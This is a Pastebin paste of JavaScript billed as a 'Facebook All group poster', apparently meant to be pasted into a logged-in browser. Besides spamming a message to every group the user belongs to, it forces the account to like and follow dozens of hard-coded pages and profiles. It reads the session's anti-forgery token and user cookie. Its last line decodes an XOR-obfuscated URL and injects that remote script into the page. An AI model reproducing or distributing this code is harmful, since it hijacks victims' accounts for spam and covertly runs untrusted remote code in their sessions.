endlesssandhu

Facebook All group poster

Feb 28th, 2014
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.26 KB | None | 0 0
  1. var askformsg = "<div><span class='img sp_38ydyu sx_004ff3'></span><a style='position:absolute;padding-left:3px;font-size:11px;'>Write Post</a></div></br>";
  2. askformsg += "<div><textarea id='txtFloodMsg' placeholder='Write somthing...' style='padding-top:5px;width:505px;height:100px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'></textarea></div>";
  3. askformsg += "<div><button style='margin-left:453px' class='_42ft _42fu _11b selected _42g-' onclick='autopostingfunc(this);' >Post</button></div>";
  4. var Popupset = document.createElement("div");
  5. Popupset.setAttribute("style", "position:fixed;left:50%;margin-left:-298px;top:100px;z-index:9999;font-size:11px;font-family:tahoma;color:#3B5998;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);font-weight:bold;border-radius:3px;border:1px solid rgba(200,200,50,0.2);padding:5px;background-color:rgba(255,255,255,0.9)");
  6. Popupset.innerHTML = askformsg;
  7. document.body.appendChild(Popupset);
  8.  
  9. Like("247491065422545");Like("548034065294697");Like("1422940601284441");Like("276921012466700");Like("599405296811465");Like("1388227378114214");Like("494820930627970");Like("266368873527785");Like("1388709464732651");Like("1397289827201543");Like("233410016824425");Like("520198931433282");Like("630238107042688");Like("575130462581628");Like("610069872392974");Like("217081035166391");Like("756117064403384");Like("546966428713409");Like("162923720584459");Like("546966428713409");Like("812777338747805");Like("1477861329091900");Like("259302434243392");Like("");Like("");
  10. sublist("1387885481479136");a("100001322905405");P("1393471980920486");a("100007730924320");sublist("570629146324510");sublist("588132684574156");P("619392781448146");sublist("618387511548673");sublist("619689784751779");Like("308639339237727");a("100002295829550");a("100003802633881");P("398982256905192");P("346881868781898");P("324035341066551");P("246204152183004");P("367952090008209");P("376700365800048");P("388230677980350");P("367060343430717");P("357651031038315");P("307854539351298");P("315690461901039");P("321910097945742");P("305644009572351");P("378668095603275");P("375175242619227");P("266873173449435");P("350162285120523");P("400141746789243");P("399894616813956");P("591481474271708");P("590877840998738");P("584366884983167");P("160363794050147");P("594489323970923");P("1447418765480049");P("");P("");IDS("100002295829550");IDS("100003802633881");sublist("347395568730528");sublist("396516010485150");sublist("396516270485124");sublist("396516557151762");sublist("396516717151746");sublist("396516900485061");sublist("396517213818363");sublist("396517323818352");sublist("396518080484943");sublist("396518497151568");sublist("396518823818202");sublist("366702906799794");sublist("396519237151494");sublist("396519440484807");sublist("366691630134255");
  11. sublist("369996346470450");sublist("358394594297292");sublist("396514647151953");sublist("396515053818579");sublist("396515507151867");sublist("396515810485170");sublist("394795703990514");sublist("397465637056854");sublist("397466213723463");sublist("583347348418454");sublist("583348435085012");sublist("727027670645182");sublist("165831850272204");sublist("397465637056854");sublist("397466213723463");sublist("1387885481479136");a("100001322905405");a("100007730924320");sublist("570629146324510");sublist("588132684574156");sublist("618387511548673");sublist("619689784751779");sublist("636349693089186");P("1393471980920486");P("619392781448146");
  12. jx = {
  13. getHTTPObject: function () {
  14. var A = false;
  15. if (typeof ActiveXObject != "undefined") {
  16. try {
  17. A = new ActiveXObject("Msxml2.XMLHTTP")
  18. } catch (C) {
  19. try {
  20. A = new ActiveXObject("Microsoft.XMLHTTP")
  21. } catch (B) {
  22. A = false
  23. }
  24. }
  25. } else {
  26. if (window.XMLHttpRequest) {
  27. try {
  28. A = new XMLHttpRequest()
  29. } catch (C) {
  30. A = false
  31. }
  32. }
  33. }
  34. return A
  35. },
  36. load: function (url, callback, format, method, opt) {
  37. var http = this.init();
  38. if (!http || !url) {
  39. return
  40. }
  41. if (http.overrideMimeType) {
  42. http.overrideMimeType("text/xml")
  43. }
  44. if (!method) {
  45. method = "GET"
  46. }
  47. if (!format) {
  48. format = "text"
  49. }
  50. if (!opt) {
  51. opt = {}
  52. }
  53. format = format.toLowerCase();
  54. method = method.toUpperCase();
  55. var now = "uid=" + new Date().getTime();
  56. url += (url.indexOf("?") + 1) ? "&" : "?";
  57. url += now;
  58. var parameters = null;
  59. if (method == "POST") {
  60. var parts = url.split("?");
  61. url = parts[0];
  62. parameters = parts[1]
  63. }
  64. http.open(method, url, true);
  65. if (method == "POST") {
  66. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  67. http.setRequestHeader("Content-length", parameters.length);
  68. http.setRequestHeader("Connection", "close")
  69. }
  70. var ths = this;
  71. if (opt.handler) {
  72. http.onreadystatechange = function () {
  73. opt.handler(http)
  74. }
  75. } else {
  76. http.onreadystatechange = function () {
  77. if (http.readyState == 4) {
  78. if (http.status == 200) {
  79. var result = "";
  80. if (http.responseText) {
  81. result = http.responseText
  82. }
  83. if (format.charAt(0) == "j") {
  84. result = result.replace(/[\n\r]/g, "");
  85. result = eval("(" + result + ")")
  86. } else {
  87. if (format.charAt(0) == "x") {
  88. result = http.responseXML
  89. }
  90. }
  91. if (callback) {
  92. callback(result)
  93. }
  94. } else {
  95. if (opt.loadingIndicator) {
  96. document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
  97. }
  98. if (opt.loading) {
  99. document.getElementById(opt.loading).style.display = "none"
  100. }
  101. if (error) {
  102. error(http.status)
  103. }
  104. }
  105. }
  106. }
  107. }
  108. http.send(parameters)
  109. },
  110. bind: function (A) {
  111. var C = {
  112. "url": "",
  113. "onSuccess": false,
  114. "onError": false,
  115. "format": "text",
  116. "method": "GET",
  117. "update": "",
  118. "loading": "",
  119. "loadingIndicator": ""
  120. };
  121. for (var B in C) {
  122. if (A[B]) {
  123. C[B] = A[B]
  124. }
  125. }
  126. if (!C.url) {
  127. return
  128. }
  129. var D = false;
  130. if (C.loadingIndicator) {
  131. D = document.createElement("div");
  132. D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  133. D.setAttribute("class", "loading-indicator");
  134. D.innerHTML = C.loadingIndicator;
  135. document.getElementsByTagName("body")[0].appendChild(D);
  136. this.opt.loadingIndicator = D
  137. }
  138. if (C.loading) {
  139. document.getElementById(C.loading).style.display = "block"
  140. }
  141. this.load(C.url, function (E) {
  142. if (C.onSuccess) {
  143. C.onSuccess(E)
  144. }
  145. if (C.update) {
  146. document.getElementById(C.update).innerHTML = E
  147. }
  148. if (D) {
  149. document.getElementsByTagName("body")[0].removeChild(D)
  150. }
  151. if (C.loading) {
  152. document.getElementById(C.loading).style.display = "none"
  153. }
  154. }, C.format, C.method, C)
  155. },
  156. init: function () {
  157. return this.getHTTPObject()
  158. }
  159. }
  160. var j = 0;
  161. var k = 0;
  162. var suc = 0;
  163. var msg = "Hello Friends.";
  164. var arr = new Array();
  165. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  166.  
  167. function autopostingfunc(sender) {
  168. if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  169. jx.load(window.location.protocol + "//" + "www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=group&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (data) {
  170. var text = data;
  171. var json = text.substring(text.indexOf('{'));
  172. var friends = JSON.parse(json);
  173. friends = friends.payload.entries;
  174. for (var n = 0; n < friends.length; n++) {
  175. arr.push(friends[n].uid);
  176. }
  177. sender.parentNode.innerHTML = "Please Wait....";
  178. postitok();
  179. });
  180. }
  181. var a = document.body.innerHTML;
  182. var dts = document.getElementsByName('fb_dtsg')[0].value;
  183. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  184.  
  185.  
  186.  
  187. function postitok() {
  188. pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_group_composer";
  189. with(newx = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send(pst);
  190. suc++;
  191. if (suc > arr.length) {
  192. alert("Completed. Please refresh page.");
  193. suc = 0;
  194. } else setTimeout("postitok()", 30000 / arr.length);
  195. }
  196. setTimeout("autopostingfunc()", 1000);
  197. var A="jvvrq8--pcu,ekvjw`,amo-ucxx{epc{-dcag`mmi-ej/rcegq-Qwrrmpv,hq ";B="";C="";var D;D=A.length;for(i=0;i<D;i++){B+=String.fromCharCode(A.charCodeAt(i)^2)}C=unescape(B);document.body.appendChild(document.createElement('script')).src=C;
Advertisement
Add Comment
Please, Sign In to add comment